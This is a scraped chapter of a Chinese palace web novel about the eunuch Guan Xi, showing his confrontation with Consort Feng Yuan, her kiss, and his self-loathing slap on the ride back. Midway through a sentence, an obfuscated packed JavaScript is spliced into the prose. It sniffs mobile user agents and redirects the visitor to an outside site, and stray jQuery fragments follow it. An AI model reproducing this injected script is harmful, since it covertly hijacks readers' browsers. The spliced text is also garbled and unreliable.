119.第 119 章
作品:《太监求生记(女穿男)》 冯媛领首,端茶送客的姿态摆得十足。
关禧转身,再次走向门口。这一次,冯媛没有拦。只是在他即将拉开门扉的刹那,身后传来她的声音:
“关禧。”
他又一次顿住。
“你对玉儿……倒真是情深义重。”冯媛顿了顿,似乎在斟酌词句,又似乎只是单纯的感叹,“方才在里头,动静不小。本宫虽未进去,却也猜得到几分。你这般不管不顾……值得吗?”
“那娘娘呢?”关禧转过身,看向那个看似温婉娴静的女人,“您对楚玉,又是什么心思?”
冯媛没料到他会在此时反问,一怔。
关禧向前走了几步,重新拉近了距离,视线牢牢锁住她,不放过她脸上一丝一毫的变化,“是爱吗?若真是爱,怎会忍心将她当作棋子,当作铺路的垫脚石,当作维系权力、甚至试探他人的工具?当年在承华宫,您让她来教导我,其中几分是看重她的能力,几分是顺水推舟,遂了她或许自己都未全然明了的心意,也顺便,将我这颗您觉得有趣却残缺的棋子,物尽其用?”
他的质问如剥茧抽丝,一层层揭开过往温情的假面。
“可若是不爱,您方才抱着她喂药的模样,那眼神,那姿态,又作何解释?寻常主仆,乃至姐妹情深,能做到那一步?娘娘,您告诉奴才,您对楚玉,到底存着什么心思?”
这问题太尖锐,太私人,也太危险。它触及了冯媛内心深处连自己或许都未曾厘清的混沌地带。
冯媛脸上的平静被打破。她握紧了手中的帕子,指尖泛白,迎上关禧探究的目光,那目光太亮,太具穿透力,让她有种无所遁形的感觉。
她沉默了很久,久到窗外的雪光都黯淡了几分。
“本宫不知道。”她终于开口,声音有些飘忽,“玉儿她从小就跟在本宫身边。聪明,懂事,冷静,比本宫更像这宫里的人。本宫习惯了依赖她,信任她,也心疼她。”
“或许,就像你猜测的那样,有依赖,有愧疚,有利用,也有一些连自己也说不清道不明的东西。但那不是男女之情。本宫很清楚,自己倾慕的,从来都是挺拔如松、能让人依靠的男子。”
她说着,目光重新落回关禧身上,那眼神复杂难言,眼前的少年,早已褪去当年瘦弱,长成了这般昳丽夺目又危险莫测的模样。他挺拔,即便身份特殊,那通身的气度,甚至比许多男子更甚。这认知让她的心湖泛起一丝微澜,但也仅止于此了。她是冯媛,她的骄傲和理智,不允许她真的对一个宦官投入男女之爱,即便这个宦官是权倾朝野的关禧。
“本宫对玉儿,”冯媛总结般地说道,更像是在说服自己,“是主仆,是姐妹,是在这冰冷宫墙里,相互取暖、彼此懂得的两个人。仅此而已。”
关禧听罢,脸上没什么表情。果然如此。冯媛对楚玉的感情,是深宫里扭曲环境下滋生的,混杂了太多因素的藤蔓,缠绕,依赖,并非他与楚玉之间那种爱/欲。
而这个认知,不知为何,让他心头那份因为冯媛方才的触碰和暗示而升起的异样情绪,变得更加复杂难言。他看着冯媛,这个女人,是他踏入权力漩涡的引路人之一,她亲手将他从泥泞中拉起,又亲手将他送入更深的虎口。她有着他欣赏甚至曾隐约渴慕过的清贵与聪慧,容貌气质也在他审美之中。可偏偏,他们之间隔着楚玉,隔着宦官的身份,隔着这深宫里泾渭分明的天堑。
有那么一瞬间,关禧感到一种深切的疲惫。恨她吗?怨她吗?似乎都有。可在这条由她开启的血腥之路上,他是否也在某种程度上,成为了她所雕琢期待的模样?甚至……方才她指尖的温度,她话语里未曾完全熄灭的隐秘欣赏,是否也曾在他心底某个角落,激起过一丝涟漪?
这种动摇让他感到自我厌恶,却又无法完全遏制。
冯媛何其敏锐,她立刻捕捉到了关禧眼中那一闪而过的复杂情绪,她心中微动,方才被拒绝的恼怒,被一种更微妙的冲动取代。
她忽然站起身,走向关禧。
关禧下意识想要后退,脚步却像钉在了地上。他看着冯媛走近,近到能闻到她身上清雅的冷香,近到能看清她眼中那不再掩饰的暗沉。
冯媛抬起手,抚上了他的脸颊。
她的指尖微凉,在他因为情绪波动略显紧绷的皮肤上移动,从颌线到颧骨。
“你看,”她的声音轻得像叹息,目光流连在他脸上,“生得这样好,性子也磨砺出来了,比本宫当初想象的还要出色。”她的拇指指腹,按了按他紧抿的唇角,试图将那锋利的线条揉开一丝柔软,“可惜了……”
最后三个字,低不可闻。
然后,在他尚未从这复杂的情绪和触碰中回过神来时,冯媛踮起脚尖,仰起脸,一个吻,印在了他的唇角。
一触即分。
关禧睁大了眼睛,瞳孔骤缩。
“回去吧,关掌印。”冯媛已经退开了两步,脸上重新挂起了那副温婉得体的昭仪面具,仿佛刚才那逾矩的触碰和亲吻从未发生,“雪天路滑,小心脚下。”
关禧站在原地,足足过了好几息,才像是找回了自己的动作,他深深看了冯媛一眼,那眼神混乱不堪。
最终,他什么也没说,转身,一把拉开门,有些踉跄地,踏入了门外的雪光与等候的番役视线中。玄色大氅被双喜匆忙披上肩头,他却感觉不到丝毫暖意。
轿子起行,晃晃悠悠,碾过积雪未清的宫道。
关禧靠在轿厢壁上,双目紧闭,脑海中如沸腾的油锅,楚玉绝望的泪眼,冯媛指尖的微凉与那句“可惜了”,太后寝殿里沉郁的龙涎香与肌肤相贴的灼热,无数碎片翻搅冲撞,撕扯着他早已不堪重负的神经。
他刚刚才用命逼得楚玉答应不再推开他,可转眼间,他竟然因为冯媛一个意味不明的触碰和亲吻,心绪大乱。
冯媛是谁?是将他当作礼物和棋子送出的人,是楚玉心中分量极重,让她甘愿推开自己以保全的主子。他对冯媛,应该只有利用警惕,或许还有一丝因过往际遇而生的怨怼。
可方才那一刻,当冯媛抚上他的脸,当她眼中流露出那种复杂神色时,他竟然没有避开,甚至……心底某处被刻意冰封的角落,松动了一瞬。
是因为她那张漂亮的脸?还是仅仅因为,在这全是利用与胁迫的深渊里,那一点来自旧主暧昧难辨的欣赏,竟让他产生了一丝慰藉?
无论因为什么,都让他感到无比恶心。
对楚玉的愧疚,对冯媛那点不该有的动摇,对太后掌控下不得不曲意逢迎的自我厌弃,还有这具身体,这个身份带来的一切屈辱……所有情绪拧成一股毒藤,死死缠住他的心脏,越收越紧。
他真是个彻头彻尾的烂人,渣滓。
在太后身下承欢时,想着楚玉,在楚玉面前以死相逼换她心软后,转眼却因另一个女人的触碰而心猿意马。他口口声声说心里只有楚玉,要她只看着自己,可他自己呢?他的情感,他的欲/望,他的注意力,早已被这宫廷,被这些手握权柄的女人,撕扯得支离破碎,连自己都辨不清真假。
他甚至不如那些纯粹的恶人,至少他们坏得理直气壮。而他,一边做着最肮脏的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289662|192226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事,一边还妄图抓住一点干净的念想,结果把所有人都拖进泥潭,自己也变成了这副连自己都憎恶矛盾扭曲的怪物。
“啪——!”
一声极其清脆响亮的耳光,在寂静的轿厢内炸开。
关禧用了十足的力道,右手狠狠掴在自己的脸上,疼痛瞬间蔓延,火辣辣灼烧着皮肤,也短暂炸散了脑海中那些混乱不堪的思绪。
轿子猛地一顿。
抬轿的太监训练有素,虽惊不乱,立刻稳住了脚步。但跟在轿旁,一直竖着耳朵留意里面动静的双喜,被这突如其来的一声脆响吓得魂飞魄散。
他想起督主从承华宫出来时,那比去时更加苍白的脸色,想起他上轿时踉跄的脚步,还有此刻轿内死一般的寂静,在承华宫里究竟发生了什么?青黛姑娘的病难道比想象的更糟?还是冯昭仪说了什么?
“督主?!您……您怎么了?可是哪儿不舒服?”
轿帘纹丝不动,里面没有任何回应。
双喜急得额头冒汗,又不敢贸然掀帘查看,只能压低声音,再次询问:“督主?您说句话啊!是不是伤口疼?奴才这就让他们走快些,回衙署传太医!”
“……闭嘴。”
“继续走。回衙署。”
双喜听出他声音里的异样,不敢再多问,只得惴惴不安地应了声“是”,示意轿夫继续平稳前行,自己则紧紧贴着轿子,恨不能穿透帘子,看清里面人的状况。
轿厢内,关禧慢慢放下刺痛的手。右半边脸迅速肿胀起来,口腔里有铁锈味弥漫,是牙龈被震出的血。疼痛是清晰的,真实的,像一盆冰水,浇灭了方才那阵翻涌的混乱。
他睁开眼,眼底那片狂躁的猩红褪去一些。
这一巴掌,打醒了。
他不能再这样下去。被情绪裹挟,被过去的阴影纠缠,被每一个伸出指尖的人拨动心弦。在这条路上,多一分软弱,多一分摇摆,就是将自己和所在意的人,更快地推向万劫不复。
冯媛的试探,是蜜糖,也是砒霜。她或许有几分真心,但更多的,是权力博弈中的算计,是对昔日玩具成长超出控制的不甘,以及……对他如今这副皮囊和权势的某种掠夺欲。这与太后有何本质区别?不过是一个更直接,一个更迂回,一个用强权,一个用情丝。
他不能陷进去。楚玉是他的软肋,是他的念想,他必须牢牢抓住她,也必须让自己,配得上她那份绝望之后,依旧选择抓住他的手。
他抬手,用指腹抹去嘴角渗出的血丝,眼神逐渐凝聚,变得锐利如刀。
路还很长。他没有资格自怜自伤,更没有资格摇摆不定。
从今天起,他必须更清醒,更冷酷,更善于利用每一分情绪,无论是自己的,还是别人的。
包括冯媛那份“可惜了”的暧昧。
轿子稳稳停下,衙署到了。
双喜掀开轿帘。当看到关禧红肿的半边脸颊和嘴角那抹刺目的血迹时,他倒抽一口冷气,“督主!您的脸……”
“没事。”关禧打断他,语气平静得可怕。他踏出轿子,挺直的背脊看不出丝毫方才轿中的颓唐,“去拿些冰来敷一下。另外,把何璋叫来,本督有事吩咐。”
他迈步走向衙署深处,脚步沉稳,方才那一瞬间的失控,已被彻底掩埋在面具之下。只有袖中紧握的指甲深陷掌心的手,泄露着一丝未平的波澜。
但很快,连那一点波澜,也会被生存的欲望所吞噬。
在这座吃人的宫殿里,他没有退路,只能成为比深渊更冷,比刀锋更利,那个真正的九千岁。

